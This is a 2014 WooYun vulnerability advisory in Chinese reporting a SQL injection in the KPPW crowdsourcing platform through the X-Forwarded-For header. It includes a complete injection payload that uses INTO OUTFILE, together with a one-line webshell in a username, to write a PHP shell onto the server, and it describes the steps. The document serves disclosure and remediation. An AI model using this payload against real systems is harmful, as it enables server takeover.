当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075202

漏洞标题:KPPW开源威客系统前台sql注入(有限制)

相关厂商:kekezu.com

漏洞作者: JJ Fly

提交时间:2014-09-09 14:44

修复时间:2014-12-05 14:46

公开时间:2014-12-05 14:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-09: 细节已通知厂商并且等待厂商处理中
2014-09-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-08: 细节向核心白帽子及相关领域专家公开
2014-11-18: 细节向普通白帽子公开
2014-11-28: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

简要描述:

KPPW开源威客系统前台sql注入(有限制)

详细说明:

主要是利用注册帐号时,系统会查询之前在这个ip地址下注册过的帐号。
而且ip 是 在 X-Forwarded-For进行获取的 。
在 gpc=on的时候,也是不会把$_SERVER中值添加/。
so。
我们先在注册一个帐号。
用户名 上面加上一句话木马 。
然后再注册一个帐号 。
在http头中添加

X-Forwarded-For: 127.0.0.1' and email='[email protected]' into outfile 'F:\\wamp\\www\\11.php' #


然后在检查同ip注册帐号的时候。
形成如此sql语句。

select * from keke_witkey_space where reg_ip = '127.0.0.1' and email='[email protected]' into outfile 'F:\\wamp\\www\\11.php' #' and 1409907559< reg_timea


直接导出shell。

漏洞证明:

1.
我们先来注册一个帐号

图片1.png


然后提交抓包

图片2.png


把用户名这加上 一句话。
好的注册成功之后,我们退出再来注册一个帐号。
抓包
加上
X-Forwarded-For: 127.0.0.1' and email='[email protected]' into outfile 'F:\\wamp\\www\\11.php' #

图片3.png


好了,这样的话
'F:\\wamp\\www\\11.php'将生成一句话木马。

图片4.png

修复方案:

修改下获取ip的源码+服务端检测用户名合格性

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-05 14:46

厂商回复:

最新状态:

2014-10-18:谢谢提供,漏洞已修复